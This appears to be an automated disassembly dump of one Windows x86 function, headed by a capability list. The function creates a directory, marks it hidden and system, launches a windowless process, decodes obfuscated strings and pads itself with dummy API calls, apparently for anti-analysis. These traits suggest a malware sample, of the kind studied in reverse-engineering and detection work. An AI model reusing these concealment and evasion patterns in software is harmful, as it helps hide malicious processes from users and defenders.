Function at 0x416e71
Capabilities:
Create directory
Create process on windows
Set file attributes
Set uefi variable

Disassembly:
push 0x1d4
mov eax, 0x440ed4
call fcn.0042bb26
mov edi, ecx
mov dword [ebp - 0xb4], edi
xor ebx, ebx
mov dword [ebp - 4], 3
cmp dword [ebp + 0x1c], ebx
jne 0x416ece
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [ebp + 8]
call fcn.004035bd
push ebx
push esi
lea ecx, [ebp + 0x24]
call fcn.004035bd
push ebx
push esi
lea ecx, [ebp + 0x40]
call fcn.004035bd
push ebx
push esi
lea ecx, [ebp + 0x5c]
call fcn.004035bd
mov eax, 0x80004005
call fcn.0042bba9
ret 0x70
cmp dword [ebp + 0x38], ebx
je 0x416e96
xor esi, esi
cmp dword [ebp + 0x54], ebx
je 0x416e98
mov eax, dword [edi + 0x300]
sub eax, dword [edi + 0x2fc]
add edi, 0x2f0
push 0x58
cdq
pop ecx
idiv ecx
mov dword [ebp - 0xac], edi
test eax, eax
jbe 0x416f4b
cmp dword [ebp + 0x20], 0x10
mov eax, dword [ebp + 0xc]
jae 0x416f08
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc0], eax
push esi
mov eax, edi
call fcn.004181b3
cmp dword [eax + 0x18], 0x10
jb 0x416f21
mov eax, dword [eax + 4]
jmp 0x416f24
add eax, 4
push dword [ebp - 0xc0]
push eax
call fcn.00428ed2
pop ecx
pop ecx
test eax, eax
je 0x4170d0
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
push 0x58
cdq
pop ecx
idiv ecx
inc esi
cmp esi, eax
jb 0x416efc
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
push 0x58
cdq
pop ecx
idiv ecx
mov dword [ebp - 0xa8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push ebx
shr esi, 0x18
call fcn.0042a8e7
imul eax, eax, 0x63
pop ecx
cmp esi, eax
jbe 0x416f86
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call fcn.0040ce2f
push ebx
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x70], 0xf
call fcn.00403957
lea esi, [ebp - 0x6c]
call fcn.00403180
lea esi, [ebp - 0x50]
call fcn.00403180
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 4
call fcn.004034e3
mov eax, dword [ebp - 0xb4]
push 0xffffffffffffffff
push ebx
add eax, 0x260
push eax
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x34], ebx
call fcn.004034e3
lea eax, [ebp - 0xad]
mov byte [ebp - 0xad], bl
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x416fe8
sub eax, esi
je 0x416ff8
call fcn.0040ceb5
mov eax, dword [ebp - 0x58]
cmp eax, ebx
je 0x41701e
lea edi, [eax - 1]
lea eax, [ebp - 0x6c]
call fcn.004082f1
cmp byte [eax], 0x5c
je 0x41701e
xor ebx, ebx
push 0x5c
inc ebx
lea edi, [ebp - 0x6c]
call fcn.004085fd
xor ebx, ebx
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 0x24]
lea esi, [ebp - 0x6c]
call fcn.00408559
call fcn.004295cd
call fcn.004295cd
mov dword [ebp - 4], 4
mov eax, dword [ebp - 0x58]
cmp eax, ebx
je 0x417061
lea edi, [eax - 1]
mov eax, esi
call fcn.004082f1
cmp byte [eax], 0x5c
je 0x417061
xor ebx, ebx
push 0x5c
inc ebx
mov edi, esi
call fcn.004085fd
xor ebx, ebx
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x50]
call fcn.004034e3
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 0x40]
lea esi, [ebp - 0x6c]
call fcn.00408559
mov edi, dword [ebp - 0xac]
lea eax, [ebp - 0x88]
push eax
mov eax, edi
call fcn.00418228
lea esi, [ebp - 0x88]
mov byte [ebp - 4], 3
call fcn.00404654
push dword [ebp - 0xa8]
mov eax, edi
call fcn.004181b3
cmp dword [eax + 0x54], 3
push dword [ebp - 0xa8]
mov eax, edi
jbe 0x41719b
call fcn.004181b3
cmp dword [eax + 0x18], 0x10
jb 0x417101
mov eax, dword [eax + 4]
jmp 0x417104
mov dword [ebp - 0xa8], esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push ebx
shr esi, 0x18
call fcn.0042a8e7
imul eax, eax, 0x63
pop ecx
cmp esi, eax
jbe 0x4170a1
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call fcn.0040cdec
jmp 0x4170a1
add eax, 4
push eax
lea eax, [ebp - 0x118]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xb8], esp
push 0x1b
push 0x4496f4
call fcn.004081ed
lea edi, [ebp - 0x88]
call fcn.00427366
mov byte [ebp - 4], 7
call fcn.00427546
mov byte [ebp - 4], 8
cmp dword [eax + 0x18], 0x10
jb 0x417146
mov eax, dword [eax + 4]
jmp 0x417149
add eax, 4
mov ebx, dword [ebp - 0xb4]
xor edi, edi
push eax
inc edi
push edi
call fcn.0040eded
add esp, 0xc
xor ebx, ebx
push ebx
push edi
lea ecx, [ebp - 0x118]
call fcn.004035bd
lea esi, [ebp - 0x88]
call fcn.00404654
push ebx
push edi
lea ecx, [ebp + 8]
call fcn.004035bd
push ebx
push edi
lea ecx, [ebp + 0x24]
call fcn.004035bd
push ebx
push edi
lea ecx, [ebp + 0x40]
call fcn.004035bd
push ebx
push edi
jmp 0x416eb9
call fcn.004181b3
sub esp, 0x1c
add eax, 0x1c
mov ecx, esp
mov dword [ebp - 0xb8], esp
push eax
call fcn.004031b5
call fcn.0040f0a8
cmp eax, ebx
jge 0x417ac2
lea eax, [ebp - 0xfc]
push eax
call fcn.00418584
lea eax, [ebp - 0xdc]
push eax
sub esp, 0x1c
mov byte [ebp - 4], 9
mov esi, esp
mov dword [ebp - 0xb8], esp
push 0xb
push 0x449710
call fcn.004081ed
lea edi, [ebp - 0x88]
call fcn.00427366
mov byte [ebp - 4], 0xa
call fcn.004273d9
mov byte [ebp - 4], 0xb
cmp dword [eax + 0x18], 0x10
jb 0x417212
mov eax, dword [eax + 4]
jmp 0x417215
add eax, 4
push eax
lea ecx, [ebp - 0x118]
call fcn.00403193
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0xfc]
mov byte [ebp - 4], 0xc
call fcn.00408485
push ebx
push 1
lea ecx, [ebp - 0x118]
call fcn.004035bd
push ebx
push 1
lea ecx, [ebp - 0xdc]
call fcn.004035bd
lea esi, [ebp - 0x88]
mov byte [ebp - 4], 9
call fcn.00404654
lea eax, [ebp - 0xdc]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xb8], esp
push 5
push str._a__2_
call fcn.004081ed
lea edi, [ebp - 0x88]
call fcn.00427366
mov byte [ebp - 4], 0xd
call fcn.004273d9
mov byte [ebp - 4], 0xe
cmp dword [eax + 0x18], 0x10
jb 0x4172a3
mov eax, dword [eax + 4]
jmp 0x4172a6
add eax, 4
push eax
lea ecx, [ebp - 0x118]
call fcn.00403193
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0xfc]
mov byte [ebp - 4], 0xf
call fcn.00408485
push ebx
push 1
lea ecx, [ebp - 0x118]
call fcn.004035bd
push ebx
push 1
lea ecx, [ebp - 0xdc]
call fcn.004035bd
lea esi, [ebp - 0x88]
mov byte [ebp - 4], 9
call fcn.00404654
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0xb8], esp
lea ecx, [ebp - 0xfc]
push ecx
push eax
call fcn.0040835f
mov esi, dword [ebp - 0xa8]
mov edi, dword [ebp - 0xac]
push esi
mov eax, edi
mov byte [ebp - 4], 0x10
call fcn.004181b3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xc0], esp
push eax
call fcn.004031b5
mov ecx, dword [ebp - 0xb4]
add ecx, 0x18
mov dword [ebp - 0xb8], ecx
mov byte [ebp - 4], 9
call fcn.00407e66
cmp eax, ebx
push esi
mov eax, edi
jge 0x4174e6
call fcn.004181b3
add eax, 0x54
inc dword [eax]
push esi
mov eax, edi
call fcn.004181b3
cmp dword [eax + 0x18], 0x10
jb 0x417374
mov eax, dword [eax + 4]
jmp 0x417377
add eax, 4
push eax
lea eax, [ebp - 0xdc]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xb8], esp
push 0x21
push str._b6_J
call fcn.004081ed
lea edi, [ebp - 0x88]
call fcn.00427366
mov byte [ebp - 4], 0x11
call fcn.00427546
mov byte [ebp - 4], 0x12
cmp dword [eax + 0x18], 0x10
jb 0x4173b9
mov eax, dword [eax + 4]
jmp 0x4173bc
add eax, 4
mov ebx, dword [ebp - 0xb4]
push eax
push 1
call fcn.0040eded
add esp, 0xc
push 0
push 1
lea ecx, [ebp - 0xdc]
call fcn.004035bd
lea esi, [ebp - 0x88]
mov byte [ebp - 4], 9
call fcn.00404654
lea eax, [ebp - 0xad]
mov byte [ebp - 0xad], 0
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4173fb
sub eax, ecx
je 0x41740b
call fcn.0040cf3b
call fcn.004295cd
cdq
push 0x14
pop ecx
idiv ecx
mov esi, edx
inc esi
call fcn.004295cd
cdq
idiv esi
cmp edx, esi
jg 0x41742e
mov eax, esi
cdq
idiv esi
test edx, edx
je 0x417438
call fcn.0040cf7e
call fcn.0040d01e
push dword [ebp - 0xa8]
mov eax, dword [ebp - 0xac]
call fcn.004181b3
cmp dword [eax + 0x18], 0x10
jb 0x417454
mov eax, dword [eax + 4]
jmp 0x417457
add eax, 4
push eax
lea eax, [ebp - 0xdc]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xb8], esp
push 2
push 0x449748
call fcn.004081ed
lea edi, [ebp - 0x88]
call fcn.00427366
mov byte [ebp - 4], 0x13
call fcn.004273d9
mov byte [ebp - 4], 0x14
cmp dword [eax + 0x18], 0x10
jb 0x417499
mov eax, dword [eax + 4]
jmp 0x41749c
add eax, 4
mov ebx, dword [ebp - 0xb4]
push eax
push 2
call fcn.0040eded
add esp, 0xc
xor ebx, ebx
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0xdc]
call fcn.004035bd
lea esi, [ebp - 0x88]
call fcn.00404654
lea esi, [ebp - 0xfc]
call fcn.00408999
push dword [ebp - 0xfc]
call fcn.004295ef
pop ecx
jmp 0x417176
call fcn.004181b3
sub esp, 0x1c
add eax, 0x38
mov ecx, esp
mov dword [ebp - 0xc0], esp
push eax
call fcn.004031b5
call fcn.0040f0a8
push ebx
lea ecx, [ebp - 0x2c]
mov esi, eax
mov dword [ebp - 0x14], 0xf
call fcn.00403957
cmp esi, ebx
mov byte [ebp - 4], 0x15
jge 0x417915
push dword [ebp - 0xa8]
mov eax, dword [ebp - 0xac]
call fcn.004181b3
mov ecx, eax
add ecx, 0x1c
lea eax, [ebp - 0x120]
call fcn.0041a37d
mov ecx, dword [eax]
mov eax, dword [eax + 4]
push dword [ebp - 0xa8]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0xe4], ecx
call fcn.004181b3
mov ecx, eax
add ecx, 0x1c
lea eax, [ebp - 0x120]
call fcn.00403598
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x128], ecx
mov dword [ebp - 0x124], eax
call fcn.004295cd
cdq
push 0x14
pop ecx
idiv ecx
mov esi, edx
inc esi
call fcn.004295cd
cdq
idiv esi
cmp edx, esi
jg 0x4175a9
mov eax, esi
cdq
idiv esi
cmp edx, ebx
je 0x4175ae
call fcn.0040d067
mov dword [ebp - 0xc0], ebx
lea esi, [ebp - 0x198]
call fcn.004183c0
mov byte [ebp - 4], 0x16
push dword [ebp - 0x124]
lea eax, [ebp - 0xdc]
push dword [ebp - 0x128]
push dword [ebp - 0xe0]
push dword [ebp - 0xe4]
push ebx
push 1
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xbc], esp
push 9
push 0x44974c
call fcn.004081ed
lea edi, [ebp - 0x88]
call fcn.00427366
push eax
mov byte [ebp - 4], 0x17
call fcn.00427738
mov byte [ebp - 4], 0x18
cmp dword [eax + 0x18], 0x10
jb 0x417620
mov eax, dword [eax + 4]
jmp 0x417623
add eax, 4
lea ecx, [ebp - 0x120]
push ecx
mov ebx, eax
call fcn.004184b7
push eax
lea eax, [ebp - 0x198]
push eax
mov byte [ebp - 4], 0x19
call fcn.0041a1a6
movzx edi, al
add esp, 0x1c
lea eax, [ebp - 0x120]
push eax
mov byte [ebp - 4], 0x18
call fcn.00418545
xor ebx, ebx
push ebx
push 1
lea ecx, [ebp - 0xdc]
call fcn.004035bd
lea esi, [ebp - 0x88]
mov byte [ebp - 4], 0x16
call fcn.00404654
cmp edi, ebx
je 0x4177f3
lea eax, [ebp - 0x118]
push eax
push 1
lea ecx, [ebp - 0x198]
call fcn.0041844f
push eax
call fcn.0041849c
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x118]
lea esi, [ebp - 0x2c]
mov byte [ebp - 4], 0x1a
call fcn.00408559
push ebx
push 1
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 0x16
call fcn.004035bd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push ebx
shr esi, 0x18
call fcn.0042a8e7
imul eax, eax, 0x63
pop ecx
cmp esi, eax
jbe 0x4176e8
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableA]
call fcn.0040d0f5
sub esp, 0x1c
lea eax, [ebp - 0x2c]
mov ecx, esp
mov dword [ebp - 0xbc], esp
push eax
call fcn.004031b5
call fcn.0040f0a8
cmp eax, ebx
jge 0x417736
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x417711
lea eax, [ebp - 0x28]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
mov eax, dword [ebp - 0x28]
je 0x417804
cmp dword [ebp - 0x14], 0x10
jae 0x41772d
lea eax, [ebp - 0x28]
push 6
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
lea ecx, [ebp - 0x198]
call fcn.0041844f
push dword [eax + 4]
push dword [eax]
push dword [ebp - 0x194]
push dword [ebp - 0x198]
call fcn.0041a1d0
add esp, 0x10
lea ecx, [ebp - 0x198]
mov esi, eax
call fcn.00418428
mov edi, eax
add edi, esi
lea esi, [ebp - 0xe4]
call fcn.00404238
lea esi, [ebp - 0x190]
mov byte [ebp - 4], 0x15
call fcn.00418479
inc dword [ebp - 0xc0]
xor ebx, ebx
cmp dword [ebp - 0xc0], 0x1e
jb 0x4175b4
push dword [ebp - 0xa8]
mov eax, dword [ebp - 0xac]
call fcn.004181b3
sub esp, 0x1c
add eax, 0x38
mov ecx, esp
mov dword [ebp - 0xbc], esp
push eax
call fcn.004031b5
call fcn.0040f0a8
cmp eax, ebx
jge 0x417915
push dword [ebp - 0xa8]
mov eax, dword [ebp - 0xac]
call fcn.004181b3
add eax, 0x38
cmp dword [eax + 0x18], 0x10
jb 0x41789b
mov eax, dword [eax + 4]
jmp 0x41789e
lea esi, [ebp - 0x190]
mov byte [ebp - 4], 0x15
call fcn.00418479
jmp 0x41779b
cmp dword [ebp - 0x14], 0x10
jae 0x41780d
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0xdc]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xbc], esp
push 0x25
push str.6WRUHR_L__aNCemC
call fcn.004081ed
lea edi, [ebp - 0x88]
call fcn.00427366
push eax
mov byte [ebp - 4], 0x1b
call fcn.00427738
mov byte [ebp - 4], 0x1c
cmp dword [eax + 0x18], 0x10
jb 0x417850
mov eax, dword [eax + 4]
jmp 0x417853
add eax, 4
mov ebx, dword [ebp - 0xb4]
push eax
push 1
call fcn.0040eded
add esp, 0xc
xor ebx, ebx
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0xdc]
call fcn.004035bd
lea esi, [ebp - 0x88]
call fcn.00404654
lea esi, [ebp - 0x190]
call fcn.00418479
push ebx
push edi
lea ecx, [ebp - 0x2c]
call fcn.004035bd
jmp 0x4174ca
add eax, 4
push eax
lea eax, [ebp - 0xdc]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xbc], esp
push 0x27
push str._6:Jk
call fcn.004081ed
lea edi, [ebp - 0x88]
call fcn.00427366
mov byte [ebp - 4], 0x1d
call fcn.004273d9
mov byte [ebp - 4], 0x1e
cmp dword [eax + 0x18], 0x10
jb 0x4178e0
mov eax, dword [eax + 4]
jmp 0x4178e3
add eax, 4
mov ebx, dword [ebp - 0xb4]
xor edi, edi
push eax
inc edi
push edi
call fcn.0040eded
add esp, 0xc
xor ebx, ebx
push ebx
push edi
lea ecx, [ebp - 0xdc]
call fcn.004035bd
lea esi, [ebp - 0x88]
call fcn.00404654
jmp 0x41788c
push dword [ebp - 0xa8]
mov eax, dword [ebp - 0xac]
call fcn.004181b3
sub esp, 0x1c
add eax, 0x1c
mov ecx, esp
mov dword [ebp - 0xbc], esp
push eax
call fcn.004031b5
mov ebx, dword [ebp - 0xb8]
call fcn.00406c2d
push dword [ebp - 0xa8]
test eax, eax
mov eax, dword [ebp - 0xac]
jge 0x417a7a
call fcn.004181b3
push dword [ebp - 0xa8]
add eax, 0x54
inc dword [eax]
mov eax, dword [ebp - 0xac]
call fcn.004181b3
add eax, 0x1c
cmp dword [eax + 0x18], 0x10
jb 0x417982
mov eax, dword [eax + 4]
jmp 0x417985
add eax, 4
push eax
lea eax, [ebp - 0xdc]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xbc], esp
push 0x1d
push 0x4497a8
call fcn.004081ed
lea edi, [ebp - 0x88]
call fcn.00427366
push eax
mov byte [ebp - 4], 0x1f
call fcn.00427738
mov byte [ebp - 4], 0x20
cmp dword [eax + 0x18], 0x10
jb 0x4179c8
mov eax, dword [eax + 4]
jmp 0x4179cb
add eax, 4
mov ebx, dword [ebp - 0xb4]
push eax
push 1
call fcn.0040eded
add esp, 0xc
push 0
push 1
lea ecx, [ebp - 0xdc]
call fcn.004035bd
lea esi, [ebp - 0x88]
mov byte [ebp - 4], 0x15
call fcn.00404654
push dword [ebp - 0xa8]
mov eax, dword [ebp - 0xac]
call fcn.004181b3
cmp dword [eax + 0x18], 0x10
jb 0x417a16
mov eax, dword [eax + 4]
jmp 0x417a19
add eax, 4
push eax
lea eax, [ebp - 0xdc]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xbc], esp
push 2
push 0x4497c8
call fcn.004081ed
lea edi, [ebp - 0x88]
call fcn.00427366
push eax
mov byte [ebp - 4], 0x21
call fcn.00427738
mov byte [ebp - 4], 0x22
cmp dword [eax + 0x18], 0x10
jb 0x417a5c
mov eax, dword [eax + 4]
jmp 0x417a5f
add eax, 4
mov ebx, dword [ebp - 0xb4]
push eax
push 2
call fcn.0040eded
xor edi, edi
add esp, 0xc
xor ebx, ebx
inc edi
jmp 0x4178f8
call fcn.004181b3
add eax, 0x1c
cmp dword [eax + 0x18], 0x10
jb 0x417a8d
mov eax, dword [eax + 4]
jmp 0x417a90
add eax, 4
push 6
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.004035bd
lea esi, [ebp - 0xfc]
mov byte [ebp - 4], 3
call fcn.00408999
push dword [ebp - 0xfc]
call fcn.004295ef
pop ecx
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x138], ebx
lea edi, [ebp - 0x134]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x40
stosd dword es:[edi], eax
lea eax, [ebp - 0x1dc]
push ebx
push eax
mov dword [ebp - 0x1e0], ebx
call fcn.00431920
add esp, 0xc
push 0x4494e4
xor eax, eax
push ecx
push dword [ebp - 0xa8]
xor esi, esi
mov word [ebp - 0x1b0], ax
mov eax, dword [ebp - 0xac]
inc esi
mov dword [ebp - 0x1b4], esi
call fcn.004181b3
add eax, 0x1c
add esp, 4
push eax
lea eax, [ebp - 0xdc]
push eax
call fcn.00419f21
add esp, 0xc
lea ecx, [ebp + 0x5c]
push ecx
push eax
lea eax, [ebp - 0xa4]
push eax
mov byte [ebp - 4], 0x23
call fcn.00419fdb
add esp, 0xc
push ebx
push esi
lea ecx, [ebp - 0xdc]
mov byte [ebp - 4], 0x25
call fcn.004035bd
push dword [ebp - 0xa8]
mov eax, dword [ebp - 0xac]
call fcn.004181b3
add eax, 0x38
cmp dword [eax + 0x18], 0x10
jb 0x417b72
mov eax, dword [eax + 4]
jmp 0x417b75
add eax, 4
cmp dword [ebp - 0x8c], 0x10
mov ecx, dword [ebp - 0xa0]
jae 0x417b8a
lea ecx, [ebp - 0xa0]
lea edx, [ebp - 0x138]
push edx
lea edx, [ebp - 0x1e0]
push edx
push eax
push ebx
push 0xc000000
push ebx
push ebx
push ebx
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x138]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, eax
call esi
push dword [ebp - 0x134]
call esi
cmp edi, ebx
jne 0x417d49
cmp dword [ebp - 0x8c], 0x10
mov eax, dword [ebp - 0xa0]
jae 0x417bdf
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 0x118]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xbc], esp
push 0x1f
push str.6WRUH
call fcn.004081ed
lea edi, [ebp - 0x88]
call fcn.00427366
mov byte [ebp - 4], 0x26
call fcn.00427666
mov byte [ebp - 4], 0x27
cmp dword [eax + 0x18], 0x10
jb 0x417c21
mov eax, dword [eax + 4]
jmp 0x417c24
add eax, 4
mov ebx, dword [ebp - 0xb4]
push eax
push 1
call fcn.0040eded
add esp, 0xc
xor edi, edi
push edi
push 1
lea ecx, [ebp - 0x118]
call fcn.004035bd
lea esi, [ebp - 0x88]
call fcn.00404654
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec eax
dec eax
je 0x417c63
dec eax
dec eax
je 0x417c63
sub eax, 4
jne 0x417c6d
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push dword [ebp - 0xa8]
mov eax, dword [ebp - 0xac]
mov dword [ebp - 4], 0x25
call fcn.004181b3
cmp dword [eax + 0x18], 0x10
jb 0x417c90
mov eax, dword [eax + 4]
jmp 0x417c93
add eax, 4
push eax
lea eax, [ebp - 0x118]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xbc], esp
push 2
push 0x4497ec
call fcn.004081ed
lea edi, [ebp - 0x88]
call fcn.00427366
mov byte [ebp - 4], 0x2a
call fcn.00427666
mov byte [ebp - 4], 0x2b
cmp dword [eax + 0x18], 0x10
jb 0x417cd5
mov eax, dword [eax + 4]
jmp 0x417cd8
add eax, 4
mov ebx, dword [ebp - 0xb4]
push eax
push 2
call fcn.0040eded
add esp, 0xc
push 0
push 1
lea ecx, [ebp - 0x118]
call fcn.004035bd
lea esi, [ebp - 0x88]
call fcn.00404654
mov esi, 0x80004005
xor ebx, ebx
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0xa4]
call fcn.004035bd
push ebx
push edi
lea ecx, [ebp + 8]
call fcn.004035bd
push ebx
push edi
lea ecx, [ebp + 0x24]
call fcn.004035bd
push ebx
push edi
lea ecx, [ebp + 0x40]
call fcn.004035bd
push ebx
push edi
lea ecx, [ebp + 0x5c]
call fcn.004035bd
mov eax, esi
jmp 0x416ec6
xor esi, esi
jmp 0x417d0a